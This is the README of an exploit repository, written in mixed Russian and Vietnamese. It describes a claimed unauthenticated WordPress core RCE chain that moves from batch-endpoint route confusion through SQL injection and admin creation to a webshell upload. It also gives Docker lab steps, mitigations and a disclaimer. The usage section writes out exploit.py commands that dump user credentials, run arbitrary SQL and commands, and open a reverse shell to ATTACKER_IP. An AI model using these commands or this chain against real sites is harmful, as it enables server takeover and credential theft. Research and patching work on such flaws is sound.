CVE-2026-63030 & CVE-2026-60137 — wp2shell

RCE без аутентификации в ядре WordPress — Route Confusion + SQL Injection, объединенные в удаленное выполнение кода

Обзор

wp2shell — это название цепочки эксплойтов, объединяющей 2 уязвимости в ядре WordPress:

• CVE-2026-63030 — Route Confusion: Batch endpoint (/wp-json/batch/v1) имеет смещение индекса между массивами $matches[] и $validation[] при ошибке пути субзапроса, что приводит к выполнению следующего субзапроса с неправильным обработчиком → обход проверки схемы REST API.
• CVE-2026-60137 — SQL Injection: WP_Query::get_posts() не санитизирует параметр author__not_in, когда он передается как строка, а не как массив → прямая SQL-инъекция.

Две ошибки вместе образуют полную цепочку Pre-Auth RCE — от нулевых учетных данных до shell на сервере через один HTTP-запрос.

Exploit Chain

Route Confusion (bypass REST validation)
    → SQL Injection (đọc DB: users, secret keys)
        → oEmbed cache poisoning (read-only SQLi → write primitive)
            → customize_changeset (tạo admin mới)
                → Plugin upload (webshell)
                    → Remote Code Execution

Полный технический анализ читайте в REPORT.md

Lab Setup

Лаборатория использует Docker Compose с 3 контейнерами:

Требования

• Docker + Docker Compose
• Python 3.8+ (только stdlib, дополнительные пакеты не требуются)
• Bash (для запуска setup.sh)

Запуск

cd wp2shell-lab
bash setup.sh

Скрипт автоматически:

1. Загружает образы и запускает контейнеры
2. Устанавливает WordPress 6.9.4
3. Заполняет тестовыми данными (записи, пользователи)
4. Включает общий лог MySQL + WP_DEBUG

По завершении отобразится "WP2Shell Lab — READY!" с информацией для входа.

Очистка

cd wp2shell-lab
docker compose down -v

Exploit Usage

# Kiểm tra vulnerability
python3 exploit.py check http://TARGET:8080

# Kiểm tra + xác nhận SQLi
python3 exploit.py check --confirm-sqli http://TARGET:8080

# Đọc user credentials từ database
python3 exploit.py read --preset users http://TARGET:8080

# Chạy câu SQL tùy ý
python3 exploit.py read --query "SELECT @@version" http://TARGET:8080

# Full RCE — chạy command
python3 exploit.py shell --cmd "id" http://TARGET:8080

# Reverse shell
python3 exploit.py shell --reverse ATTACKER_IP:PORT http://TARGET:8080

PoC скрипт полностью переписан, основан на Icex0/wp2shell-poc. Использует только стандартную библиотеку Python 3, дополнительные зависимости не требуются.

Условия эксплуатации

Mitigation

1. Обновите WordPress до >= 6.9.5 или >= 7.0.2 — единственный радикальный способ.
2. Временно отключите batch endpoint: добавьте add_filter('rest_batch_disabled', '__return_true'); в functions.php.
3. Правило WAF: блокируйте запросы к /wp-json/batch/v1, содержащие SQL-ключевые слова.

Disclaimer

Этот репозиторий создан для целей исследования, обучения и CTF в контролируемой лабораторной среде. Не используйте для атаки реальных систем. Любое несанкционированное использование является нарушением закона.

Ссылки

• Icex0/wp2shell-poc — оригинальный PoC для справки
• WordPress 6.9.4 — class-wp-rest-server.php
• WordPress 6.9.4 — class-wp-query.php
• Patch diff 6.9.4 -> 6.9.5